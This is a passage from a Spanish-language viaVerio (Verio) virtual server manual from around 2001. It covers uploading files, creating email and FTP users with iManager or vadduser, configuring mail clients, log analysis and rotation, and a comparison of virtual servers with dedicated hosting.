Ejemplo usando el iManager 1. 2. 3. 4. 5. 6. 7. 8. Abra iManager Ingrese el nombre de usuario y clave Seleccione Administrador de Archivos Seleccione usr/local/etc/httpd/ Presione el botn Subir Archivo Seleccione Navegar (Browse) Seleccione el archivo de la mquina local que desea subir. Presione el botn Subir Archivo

Mtodo alternativo
La comparticin de archivos en Windows es una muy buena interfase para mantener un sitio web. Despus de compartir el directorio raz de su Servidor Virtual con su computadora de escritorio Windows 95/98 o NT en Internet, simplemente se agarran y sueltan los archivos al Servidor Virtual como si fuera una unidad local. Ejemplo para Compartir de Archivos en Windows 1. 2. 3. 4. Cliquee con el botn derecho del mouse en Entorno de Red Seleccione Propiedades Seleccione Compartir Archivo e Impresora Cliquee en OK

Nota: Evite los espacios en blanco en los nombres de archivo, ya que pueden traer problemas en UNIX. Use el carcter de subrayado ("_") en lugar de los espacios en blanco.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

16

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 10: Genere Usuarios de correo electrnico y FTP


Si usted piensa tener mltiples usuarios o mltiples cuentas de correo electrnico, necesitar crear directorios para los usuarios de correo electrnico y FTP, para que puedan enviar y recibir correos electrnicos y/o subir archivos a su directorio raz.

Creacin de Usuarios con iManager


Si usted es usuario de iManager, realice lo siguiente: 1. 2. 3. Abra iManager Seleccione Herramientas & Ayudantes (Configuracin) Seleccione Usuarios y luego Agregar

Un nuevo directorio para cada sitio web que usted subaloje mostrar la siguiente ruta, que es el directorio de la cuenta alojada virtualmente: /usr/local/etc/httpd/vhosts/[usuario, permisos]

Creacin de Usuarios con vadduser


1.

Va Telnet y desde la lnea de comandos, escriba vadduser. Esta accin muestra una serie de campos a completar comenzando con el siguiente ejemplo de comando:

% vadduser Por favor responda las preguntas a continuacin. Cuando este disponible una respuesta predeterminada, sta aparecer entre corchetes a continuacin de la pregunta. Por ejemplo, la pregunta: Cul es su color favorito? [azul]: tiene la respuesta predeterminada azul. Simplemente acptela (sin tener que escribir) presionando la tecla Enter, o escriba su respuesta y luego presione <Enter>. Use la tecla <Backspace> para borrar y corregir errores en las respuestas, antes de presionar <Enter>. En general, una vez que se presiona <Enter> se pasa a la siguiente pregunta. Una vez que respondi todas las preguntas, tendr la posibilidad de modificar sus opciones antes de que se actualicen los archivos. Presione <Enter> para continuar:

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

17

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

2. 3. 4. 5. 6.

Escriba el nombre de usuario. Use un mximo de hasta 8 caracteres, sin utilizar . ni :. Escriba la clave del usuario de correo electrnico o de FTP. Vuelva a escribir la nueva clave. Escriba el nombre completo del usuario y despus presione Enter. Use 80 caracteres como mximo, sin utilizar . ni :. Seleccione los servicios que la cuenta requiera. Las opciones predeterminadas son ambas: FTP y correo electrnico. O escriba el nombre del servicio (FTP o correo electrnico) que desee deseleccionar para la cuenta. o o FTP (File Transfer Protocol) para subir y/o bajar archivos Servicios de correo electrnico que incluyen POP, IMAP y SMTP

Nota: Si a la cuenta del usuario se accediera Va IMAP, esta debe estar habilitada con el servicio de FTP. 7. 8. 9. Ingrese una respuesta afirmativa o negativa a la pregunta Quiere asignarle un Lmite de espacio determinado a la cuenta? (quotas) Ingrese la cantidad de MB para esta cuenta (ingrese 0 es sin lmite). Ingrese una respuesta numrica a la siguiente pregunta: Dnde quiere colocar el directorio raz del usuario? Puede colocarlo en una de las cuatro opciones que se le presentan o bien en la ubicacin que desee. La siguiente tabla describe brevemente cada ubicacin. Ejemplo /usr/home/nombreusuario /usr/local/etc/httpd/htdocs/nom breusuario /usr/local/etc/httpd/htdocs/vho sts/nombreusuario /ftp/pub/ nombreusuario /usr/local/etc/httpd/htdocs/vho sts/algn_directorio/ nombreusuario

Descripcin Directorio raz para una cuenta de correo electrnico Directorio de la cuenta alojada en el web principal Directorio de la cuenta alojada de forma virtual Directorio raz para FTP annimo Otra ubicacin que usted elija

o o o

Ingrese "1" si la opcin elegida es un directorio raz para una cuenta de correo electrnico. Ingrese "2" si la opcin elegida es un directorio de cuenta alojada en el web principal. Ingrese "3" si la opcin elegida es una cuenta alojada de forma virtual. Recomendamos usar esta opcin por dos motivos. El primero es que FrontPage 2000 as lo exige. El segundo es que el directorio vhosts es una ubicacin ordenada donde pueden residir cada uno de sus directorios de usuarios subalojados. Cada uno est bien separado, se distingue de los dems y es seguro. Ingrese "4" si la opcin elegida es un directorio raz para FTP annimo. Ingrese la ruta que desee.

o o

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

18

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nota: La ejecucin del script vadduser es directa, con una excepcin: los servicios de cuenta (FTP y correo electrnico). Estos servicios se agregan a la cuenta de cada usuario en forma predeterminada. Si usted quiere que el usuario tenga privilegios tanto de FTP como de correo electrnico, presione Enter cuando se le pide aceptar las configuraciones predeterminadas. Para que el usuario tenga slo privilegios FTP, deseleccione los privilegios de correo electrnico ingresando mail. Para que el usuario tenga slo privilegios de correo, deseleccione los privilegios FTP ingresando ftp. Si necesita agregar un servicio que no figura en la lista entre corchetes ([ ]), escriba el servicio (correo electrnico o FTP) y presione Enter. Por ejemplo, si Mara Prez tiene el nombre de cuenta mara y el nombre de dominio asociado a su Servidor Virtual es su_empresa.com, entonces la direccin de correo electrnico de Mara ser: maria@su_empresa.com. Nota: (quota) El Lmite de espacio Va FTP determina lo que puede consumir todo el rbol del directorio raz de un usuario y sus archivos. Este lmite es solamente es eficaz cuando se usa el FTP para subir los archivos. El Lmite del correo determina el espacio que puede consumir el archivo de correo de un usuario bajo ~/usr/mail. Cada uno se expresa como un entero decimal de megabytes (MB) de espacio en disco.

Si usted usa Dominios Virtuales


En casos de subalojamiento (cuando hay mltiples usuarios y/o mltiples sitios web), primero tiene que crear una cuenta bajo el directorio vhost (vea Conocimientos Avanzados). El procedimiento sugerido es: 1. 2. 3. o 1. 2. 3. Abra iManager Seleccione Herramientas & Ayudantes (Configuracin) Seleccione Usuarios y luego Agregar Ingrese Va Telnet Valdese Escriba vadduser y siga los pasos para seleccionar el directorio raz del nuevo usuario

Un nuevo directorio para cada sitio web que usted subaloje mostrar la siguiente ruta, que es el directorio de la cuenta alojada virtualmente: /usr/local/etc/httpd/vhosts/[nombreusuario, permisos] En casos de subalojamiento, tambin deber: 1. Agregar el dominio en viaVerio. (http://viaverio.com/services/order/domain/) 2. Cambiar el archivo de configuracin.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

19

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 11: Configure su programa de correo electrnico POP o IMAP


Ahora que usted ya cre una cuenta de correo electrnico en el servidor, tiene que poder acceder a ella con cualquier programa de correo electrnico. Estas instrucciones lo ayudarn a configurar su software para recibir correos electrnicos. viaVerio recomienda la configuracin de las cuentas POP. Ya que un usuario de una cuenta POP se conecta a su servidor para bajar los mensajes y almacenarlos en su mquina. En cambio las configuraciones de cuentas IMAP requieren carpetas en el Servidor Virtual para almacenar mensajes de correo electrnico, lo cual consume espacio de disco. Los usuarios IMAP usan recursos de servidor cada vez que leen, escriben, envan y guardan correos electrnicos. El nico motivo para elegir IMAP en lugar de POP es que IMAP permite leer mensajes de correo electrnico en diversos lugares sin tener que volver a archivarlos. Nota: Como medida para evitar el spam (Correo no solicitado), todos los Servidores Virtuales vienen pre-configurados para exigir a todos los usuarios de correo electrnico conectarse a sus cuentas de correo antes de que puedan enviar sus mensajes, esta medida es para que los spammers externos no puedan usar el servidor SMTP, debido a que no son usuarios autenticados. Con una cuenta de acceso telefnico, el usuario debe verificar el correo con el protocolo POP cada vez que desee enviar un mensaje, porque se crea un registro de los usuarios autenticados que son clientes del acceso telefnico. Los usuarios autenticados son luego autorizados a enviar mensajes. Los clientes de acceso telefnico obtienen una direccin IP diferente cada vez. Si desea ms informacin, consulte: Consultar el POP antes de enviar va SMTP (http://www.viaverio.com/support/virtual/email/spam/popb4smtp/)

Netscape Communicator 4.7 1. 2. 3. 4. 5. 6. 7. Abra Netscape Messenger Seleccione el men Editar Seleccione Preferencias Seleccione Servidores de Correo Ingrese el nuevo nombre de usuario Cliquee en Aceptar Escriba las direcciones Entrante y Saliente

Outlook 2000 1. 2. 3. 4. 5. 6. 7. Abra Outlook 2000 Seleccione el men Herramientas Seleccione Opciones Seleccione Cuentas Seleccione Correo Seleccione Agregar Seleccione Correo y siga las instrucciones

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

20

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Eudora 5.0 1. 2. 3. 4. 5. 6. 7. 8. 9. Seleccione el men Herramientas Seleccione Opciones Seleccione Comenzar En el campo Nombre Real, ingrese su nombre real En el campo Direccin del Remitente, ingrese su direccin de correo electrnico En el campo Servidor de Correo (Entrante), ingrese el nombre del servidor de correo POP. En el campo Login, ingrese su nombre de usuario En el campo Servidor SMTP (Saliente), ingrese el nombre del servidor de correo SMTP. Cliquee Aceptar

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

21

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 12: Analice las estadsticas de su sitio web


Es probable que su negocio le exija contar con informacin detallada acerca del trfico en su sitio web. Nuestro Servidor Virtual le permite tener toda la informacin estadstica que necesita para conocer la utilizacin de su sitio web.

Anlisis de registros
Los datos reales registrados en sus archivos de registro de servidor web del Servidor Virtual son, sin exagerar, complejos. Para interpretarlos, se requiere un programa de anlisis de archivos de registro que los procese y analice. Para ver un panorama del anlisis de trfico, consulte: Cmo obtener informes estadsticos del trfico de su sitio web (http://viaverio.com/support/virtual/web/logs/analyze/urchin)

Aplicacin del lado del cliente


WebTrends (http://www.webtrends.com) es un paquete de software de anlisis de registros del lado del cliente que produce informes grficos atractivos sobre el trfico en su sitio web.

Aplicaciones del lado del servidor


Hay muchos programas del lado del servidor que analizan los archivos de registro del servidor web en el lugar y luego generan informes HTML, de texto o incluso de correo electrnico acerca del trfico en su servidor web virtual. Estn preconfigurados para facilitar la instalacin y son gratis. o o o Analog (http://viaverio.com/support/virtual/web/logs/analyze/analog/) http-analyze Webalizer

Existen muchos otros programas del lado del servidor, muchos de los cuales funcionan sin problemas en el Servidor Virtual. Si el sitio web tiene una gran carga de trfico, se recomienda considerar la compra de una aplicacin del lado del cliente, como WebTrends, para reducir la carga en el Servidor Virtual.

Administracin de registros
Los archivos de registro se acumulan rpidamente y consumen mucho espacio de disco en el servidor. Para administrarlos con eficacia, decida si los va a archivar o los va a eliminar directamente en forma peridica.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

22

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Archivo de registros
El programa cronolog lee mensajes de archivo de su entrada y los graba en un conjunto de archivos de salida, cuyos nombres se construyen usando una plantilla y la fecha y hora actual. La plantilla usa las mismas especificaciones de formato que el comando date de UNIX (equivalentes a la funcin de librera strftime de C estndar). Si desea ms informacin, consulte: Rotacin de los archivos de registro del Servidor web (http://viaverio.com/support/virtual/web/logs/rotate/savelogs) introduccin al programa cronolog cronolog (http://www.ford-mason.co.uk/resources/cronolog/)

El programa rotatelogs se incluye en las definiciones Log en el archivo de configuracin del servidor web (~/www/conf/httpd.conf).

Eliminacin de registros
Puede usar el comando vnukelog para eliminar archivos de registro. El comando vnukelog puede utilizarse para limpiar el archivo ~/var/log/messages as como todos los archivos de registro del Servidor Virtual y subhost virtual El programa cron es un programador del sistema UNIX que proporciona el comando -n (nuke) para la tarea de suprimir sus registros. Si desea ms informacin, consulte: Eliminacin de archivos de registro utilizando vnukelog (http://viaverio.com/support/virtual/admin/vnukelog.cfm) cron (viaverio.com/support/virtual/admin/unix/cron.cfm)

Tambin es posible configurar el cron para procesar los registros en uno de los tres programas de anlisis del lado del servidor (Analog, http_analyze, Webalizer) por hora, da, semana y mes, y que generan informes de estado. Si desea ms informacin, consulte "Administracin con cron" en el Captulo 8.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

23

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 13: Adquiera conocimientos ms avanzados


Una vez se haya familiarizado con las tareas bsicas del administrador del Servidor Virtual y sienta que est preparado para adquirir conocimientos ms avanzados, elija cualquiera de los temas de estas listas. En la seccin Ayuda de nuestro sitio web podr perfeccionarse en los siguientes temas (http://viaverio.com/services/contactus_form.cfm): Migracin del Servidor Virtual Administracin del Servidor Virtual Configuracin del Servidor Web Subalojamiento Virtual Correo electrnico

En la seccin de ayuda complementaria usted podr perfeccionarse en los siguientes temas (http://viaverio.com/products/addons.cfm): Herramientas de administracin del Servidor Virtual Nombres de Dominio Microsoft FrontPage Comercio electrnico Aplicaciones de base de datos Herramientas de desarrollo web Herramientas multimedia Webtrends y otros programas de estadsticas Lenguajes de programacin e intrpretes Librera CGI Otros utilitarios

Ahora usted ya est encaminado. Esperamos que esta seccin le haya sido til y le deseamos xito en su proyecto comercial. Si tiene sugerencias sobre cmo podemos mejorar este Manual, no dude en hacrnoslas llegar a suggest@viaverio.com. Suerte!

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

24

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin adicional
Si desea informacin adicional sobre los temas analizados en esta seccin, consulte las siguientes pginas en el sitio web de viaVerio.

Informacin acerca del Servidor Virtual


http://www.viaverio.com/support/

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

25

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Captulo 1: Servidores Virtuales Introduccin


Los Servidores Virtuales son una tecnologa exclusiva que permite a las empresas crear su propia presencia en Internet como si tuvieran su propio servidor dedicado. Los Servidores Virtuales son ms que una solucin de alojamiento, son una solucin completa, que da a cada usuario final su propia funcionalidad web, ftp, correo electrnico y lnea de comandos UNIX. Tener un Servidor Virtual es como tener un servidor UNIX dedicado. Este manual explica cmo sacar el mximo provecho de los Servidores Virtuales y contiene informacin que ayudar al administrador a controlar y mantener el entorno del servidor. Este captulo trata los siguientes temas: Servidores Virtuales vs. su propia solucin Cmo funcionan Servicios centrales Administracin de los Servidores Virtuales (ms que un Webmaster) Administre remotamente los servidores Estructura de directorios del Servidor Virtual Unix: Comandos bsicos Informacin adicional

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

26

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Servidores Virtuales vs. su propia solucin


Usted se ha asociado con viaVerio para tener un servidor en Internet. Muchos Proveedores de Servicios de Internet gastan miles (y hasta millones) de dlares en comprar y mantener sus propios servidores, las lneas y el personal necesario para administrarlos. Otros ms afortunados se han dado cuenta de que los Servidores Virtuales son una solucin poderosa y eficiente en funcin de costos. Piense en el alto costo que implican una solucin de servidor dedicado y comprelos con una solucin de Servidores Virtuales, que ofrece la misma flexibilidad, control y poder. Muchas pequeas y medianas empresas instalan y mantienen un servidor dedicado con conexin de Internet a su oficina porque creen que es la nica forma de establecer una presencia poderosa en Internet. Sin embargo, la mayora de las empresas no se dan cuenta lo costosa que es una solucin dedicada. La tabla y el diagrama a continuacin ilustran la complejidad de la solucin de servidor dedicado y los costos relacionados:

Una solucin de Servidor Dedicado


Configuracin Servidor de Internet Router CSU/DSU Instalacin T-1 Mensual Frame relay T-1 Cargos mensuales Anual Ingeniero de redes Actualizaciones de software y hardware Miles $200 $300-$1.000 por lnea Costo Ms de $55.000 por ao $5.000 $1.500 $1.000 $300-$1.000 por lnea Costo Costo

Una alternativa menos costosa es el housing o co-locate, establecer su servidor en el Proveedor de Servicios de Internet (ISP). Los ISP en general ofrecen buenos precios y en algunos casos tienen ofertas integradas de servicios housing y conexin sin cargo adicional o con un cargo adicional mnimo. Por ms atractivo que el precio pueda parecer, la solucin de housing del ISP en general no tiene la perfomance y la tecnologa necesarias para establecer una presencia efectiva en Internet.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

27

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

De hecho, muchos ISP calificados han reconocido los beneficios de los Servidor es Virtuales de viaVerio. Muchos ISP integran sus servicios (servicio de conexin telefnica, ADSL y diseo web) con los Servidores Virtuales de viaVerio y luego ofrecen el paquete a sus clientes.

viaVerio - Nuestro enfoque


La solucin de los Servidores Virtuales de viaVerio ofrece las ventajas de un servidor dedicado al precio de un servidor compartido. El Servidor Virtual de viaVerio le da pleno control para administrar sus sitios en forma remota sin el alto costo de mantener un servidor propio y el personal para operarlo.

Nuestra solucin
Configuracin Servidores Virtuales Mensual Servidores Virtuales Anual Personal de viaVerio Personal de soporte viaVerio Costo $50 Costo de $55 a $245 con descuentos para Distribuidores Costo $0 $0

Construyendo su propio negocio de Internet


viaVerio le da la seguridad de tener el mejor Servidor Virtual sin tener que preocuparse por mantenerlo. Usted puede ganar dinero creando y manteniendo sitios web para las empresas de todo el mundo sin ms que una PC y una conexin de acceso telefnico. As se ahorrar el alto costo de los servidores, los routers y las conexiones dedicadas. viaVerio lo maneja todo, e incluso los ocasionales dolores de cabeza.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

28

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cmo funciona
La tecnologa de los Servidores Virtuales le permite a viaVerio particionar un nico servidor fsico en mltiples mquinas virtuales. Gracias a ello, las pequeas y medianas empresas pueden distribuir el costo del hardware, software, mantenimiento de sistemas y ancho de banda conservando todas las ventajas de una solucin dedicada. El Servidor Virtual utiliza lo siguiente: Componentes de hardware actualizados Rpida conectividad a la red Software innovador Administracin remota Soluciones de seguridad

Servidores virtuales vs. alojamiento virtual


Esencialmente, existen dos tipos de soluciones de alojamiento compartido: el alojamiento virtual y los Servidores Virtuales. A pesar de que los trminos son similares, su funcionalidad es muy diferente. En general, el sitio de Internet de una empresa forma parte del negocio; por lo tanto, conocer la diferencia entre alojamiento virtual y Servidores Virtuales sirve para tomar decisiones de alojamiento (que pueden ser tan importantes como elegir qu contenido colocar en el sitio). Las soluciones de alojamiento web constan de dos componentes: Hardware (CPU, memoria, unidades de disco, etc.) Software (servidores web, FTP y POP; gateway de correo electrnico, y aplicaciones de terceros, como scripts CGI)

Alojamiento virtual
Un entorno de alojamiento virtual tiene las siguientes desventajas: El hardware y el software son configurados y personalizados por los administradores del sitio (el cliente no tiene control sobre el comportamiento de los servicios de Internet). Cada servidor fsico tiene un nico conjunto de aplicaciones de software compartidas (el cliente subalquila software que es controlado y mantenido por otro).

Servidores Virtuales
Un entorno de Servidor Virtual tiene las siguientes ventajas: Slo el hardware es controlado por los administradores del sitio (el software es autnomo). El software es controlado por el cliente (para habilitar el control del cliente sobre los servicios centrales de Internet). Un Servidor Virtual est particionado desde la raz de un servidor fsico. Esto brinda una seguridad de archivos adicional, adems de capacidad SSH o Telnet.

La configuracin al nivel del cliente permite usar un Servidor Virtual del mismo modo que se usa uno dedicado. La siguiente tabla compara las capacidades del alojamiento virtual con el Servidor Virtual de viaVerio.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

29

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comparacin de los Servidores Virtuales de viaVerio con el alojamiento virtual Aspectos del servidor Control de su propio entorno de servidor Servidor web individual (HTTP) Servidor FTP individual Servidor POP individual Servidor IMAP individual Gateway SMTP individual Acceso Raz Virtual Acceso Telnet completo Acceso a sus archivos de configuracin de servidor web Acceso CGI-BIN completo Archivos de registro completos Acceso a su archivo de clave y alias y a sendmail.cf Servidor Virtual s s s s s s s s s s s s Alojamiento virtual no no no no no no no Puede ser no Puede ser Puede ser no

Detalles tcnicos de los Servidores Virtuales


Como un solo servidor dedicado est particionado en mltiples Servidores Virtuales, cada uno tiene lo siguiente: Direccin IP Nombre de dominio Servidor web (archivos completos de registro y configuracin) Servidor FTP Servidor POP Gateway SMTP

El Servidor Virtual no slo tiene la capacidad de alojamiento virtual, sino que adems le permite crear lo siguiente: Hosts web virtuales Correo electrnico virtual Cuentas FTP virtuales y FTP annimos Soporte para lmites de espacio (quota)

Nota: Un verdadero Servidor Virtual no es simplemente un sitio alojado virtualmente" (VirtualHost) en un servidor web que usted no controla. Usted tiene acceso de raz virtual a su Servidor Virtual.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

30

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Al acceder al Servidor Virtual a travs de Telnet o Secure Shell, usted ver los siguientes directorios, al igual que en un servidor dedicado: /dev /usr /bin /etc

Sus archivos passwd, aliases y sendmail.cf residen en su directorio etc. Como usted tiene acceso a dichos archivos, cuenta con la flexibilidad de: Agregar mltiples cuentas POP Agregar alias de correo electrnico Configurar mensajes de autorespuesta Bloquear correspondencia no solicitada (Spam) para sus usuarios de correo electrnico Controlar quin accede a su servidor y cmo lo hace Controlar el acceso FTP pblico y privado a su servidor

Usted puede acceder a toda la estructura de directorios usr/local/etc/httpd incluso: httpd.conf directorio cgi-bin

El Servidor Virtual se comporta como un servidor dedicado, brindndole el control completo de los servicios web, FTP y de correo electrnico. Las grandes diferencias que existen entre un servidor dedicado y un Servidor Virtual son el espacio en disco y el precio.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

31

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Servicios centrales
Los servicios centrales de los Servidores Virtuales de viaVerio incluyen los siguientes servicios (o aplicaciones): HTTP (web) FTP (transferencia de archivos) POP (correo electrnico) IMAP (correo electrnico) SMTP (correo electrnico)

Cada uno de esos servicios est relacionado con su propio nombre de dominio. Los servicios se detallan en la ltima parte de este captulo. Como complemento, se brindan los siguientes utilitarios: iManager Extensiones de servidor Microsoft FrontPage Scripts CGI (personalizados para los clientes) Pequeas aplicaciones Java (personalizadas para los clientes)

El entorno de los Servidores Virtuales tambin soporta populares aplicaciones de terceros.

Servidor HTTP (Web)


Con los Servidores Virtuales de viaVerio, los clientes pueden acceder al servicio con mucha ms facilidad que antes ya que el servicio HTTP (Hyper Text Transfer Protocol) brinda la capacidad y el ancho de banda que su compaa necesita. El servicio de http virtual (o servidor web virtual) le permite tener una presencia en Internet, para llegar a millones de hogares y empresas que estn en lnea todos los das, sin incurrir en el costo de mantener un servidor dedicado. Ahorrar dinero y su servicio tendr una apariencia ms profesional. Otra ventaja es que su direccin de inicio ser http://www.su_empresa.com y no como http://www.algun_proveedor.com/~suempresa, como sucedera con un servicio compartido no virtual o correo web. Usted puede agregar SSL a su Servidor Virtual, para dar seguridad a sus clientes cuando presentan su informacin de tarjeta de crdito en lnea, ya que se trata de una transaccin segura. Tambin se puede optar por muchas otras extensiones, scripts CGI, pequeas aplicaciones Java y populares aplicaciones de terceros.

Servidor FTP
La mayor parte del trfico de Internet usa el protocolo File Transfer Protocol (FTP). FTP permite a los usuarios bajar archivos disponibles en otros sistemas. Con su servidor FTP virtual, usted habilita a los clientes para que bajen archivos con informacin acerca de su empresa. Por ejemplo, los clientes pueden bajar un catlogo de sus productos o una lista de precios de sus servicios, con acceso instantneo a la informacin vital, y usted ahorra costos de impresin y envo. Con el servidor FTP virtual, usted puede mantener una direccin FTP simple como ftp://ftp.su_empresa.com. Su direccin FTP se muestra a los clientes tal como la mostrara un servidor dedicado, ya que brinda capacidades de acceso annimas y privadas.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

32

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Servidores de correo de los Servidores Virtuales Servidor POP


El Post Office Protocol (POP) permite a los usuarios leer sus correos electrnicos sin tener que conectarse a un servidor y aprender un engorroso programa de correo. Los usuarios pueden acceder a su correo electrnico usando cualquier computadora con un programa para correo electrnico POP que hayan elegido (por ejemplo, Eudora, Netscape Mail, Outlook Express, Mutt y Pine). Los principales sistemas operativos tiene programas POP de alta calidad. El servidor POP virtual le permite a su empresa establecer un sistema dedicado a bajo costo, ahorrando el costo de una conexin de Internet permanente. Con el servidor POP virtual, usted puede crear las cuentas de correo electrnico que desee para su empresa. A diferencia de los alias de correo electrnico, la correspondencia se almacena en el Servidor Virtual. El servidor POP (Eudora, Pegasus, OutLook) puede configurarse con facilidad para acceder a travs de su proveedor de acceso local y leer su correo. Su empresa adquiere flexibilidad, porque el servidor POP virtual le permite crear la cantidad de direcciones de correo electrnico que desee. Sin el servidor POP, tendra que comprar un gateway comercial (con una solucin de correo electrnico Novell o Microsoft), o mltiples cuentas POP de correo electrnico al proveedor de acceso local. Ambas soluciones implican un alto costo. El servicio POP le permite establecer mltiples direcciones de correo electrnico sin ningn cargo adicional. Puede acceder a todas las cuentas con unas pocas cuentas de acceso telefnico de su proveedor de acceso local. El servicio POP virtual puede ahorrarle cientos (o incluso miles) de dlares.

Servidor IMAP
El Internet Message Access Protocol (IMAP) es un mtodo para acceder al correo electrnico almacenado en un servidor de correo remoto (su Servidor Virtual). El servicio IMAP habilita el programa de correo electrnico del cliente para que acceda a carpetas remotas de mensajes como si fueran locales. Por ejemplo, la correspondencia almacenada en un servidor IMAP se puede manejar desde una computadora de escritorio en el hogar, una estacin de trabajo en la oficina o una computadora porttil cuando se est de viaje, todo sin necesidad de transferir mensajes o archivos de ida y vuelta entre cada computadora. La capacidad de IMAP de acceder a los mensajes (tanto los nuevos como los guardados en el Servidor Virtual) desde ms de una computadora cobra mayor importancia por el aumento que se observa en el uso de los mensajes electrnicos y de mltiples computadoras. Nota: Si al correo se accede desde un solo servidor, entonces lo ms adecuado es el servicio POP. POP fue diseado para dar soporte a los mensajes fuera de lnea (cuando se bajan los mensajes a la computadora local y se los borra del Servidor Virtual).

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

33

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Servidor SMTP
Se puede usar el servicio Simple Mail Transfer Protocol (SMTP) para enviar correo electrnico por una serie de redes locales o conexiones de Internet. Con el servicio SMTP virtual, el correo electrnico se convierte en una herramienta de negocios de suma utilidad. Si usted da acceso de correo electrnico a sus clientes, podrn comunicarse con su empresa en forma instantnea y sin pagar cargos telefnicos de larga distancia. Su empresa tiene la capacidad de responder primero los mensajes ms urgentes. Todo esto contribuye a afianzar las relaciones con los clientes actuales y potenciales. El servicio de correo virtual le permite tener direcciones y alias de correo electrnico (listas simples de destinatarios) relacionadas con su propio dominio. Usted tendr la direccin ventas@su_empresa.com y no una extensin del nombre de dominio del proveedor de acceso local. El servicio de correo virtual brinda las siguientes posibilidades para el correo entrante: Reenviar la correspondencia a su cuenta personal de correo electrnico provista por su proveedor de acceso local. Reenviar y almacenar la correspondencia en una cuenta POP existente en su Servidor Virtual.

Con una cantidad ilimitada de alias de correo electrnico, usted puede asignar una direccin de correo electrnico para soporte al cliente, marketing o para un familiar, sin costo extra. Los alias envan el correo entrante a cada direccin que reside en su Servidor Virtual o en cuentas remotas establecidas con su proveedor de acceso local.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

34

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Administracin de los Servidores Virtuales (ms que un Webmaster)


El Servidor Virtual es una solucin de Internet poderosa que actualmente se usa para mantener decenas de miles de sitios web. El Servidor Virtual es ms que una simple plataforma de alojamiento. Es una solucin completa de servidor de Internet. Aunque muchos lo usan simplemente como plataforma de alojamiento para sus sitios web, el administrador del Servidor Virtual tiene la capacidad de controlar los servicios de Internet. El Servidor Virtual brinda lo mejor de ambos mundos, ya que puede usarse tal como viene, pero tambin es posible modificar su entorno para satisfacer las necesidades especficas de un administrador. El administrador del Servidor Virtual (es decir, la persona con acceso de administrador al Servidor Virtual) es el que puede controlar el entorno del Servidor Virtual. Cada administrador recibe un nombre de usuario y clave para acceder a su cuenta en el Servidor. Este acceso capacita al administrador para controlar muchas de las funciones del Servidor Virtual y tiene la responsabilidad de administrar las siguientes funciones: Dar de alta o baja cuentas de correo electrnico y FTP virtuales Dar de alta o baja alias de correo electrnico (direcciones de reenvo) Cargar o descargar archivos del servidor FTP virtual annimo Mantener los archivos de configuracin del servidor web virtual Instalar y mantener programas (Common Gateway Interface - CGI) Administrar archivos de registro del Servidor Virtual, incluso ejecutar programas para analizar estadsticas de registro y suprimir registros

Nota: Como el Servidor Virtual es una solucin basada en UNIX, es conveniente que el administrador tenga experiencia en UNIX y en programacin, para que el Servidor Virtual sea aprovechado al mximo.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

35

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Administracin remota del Servidor


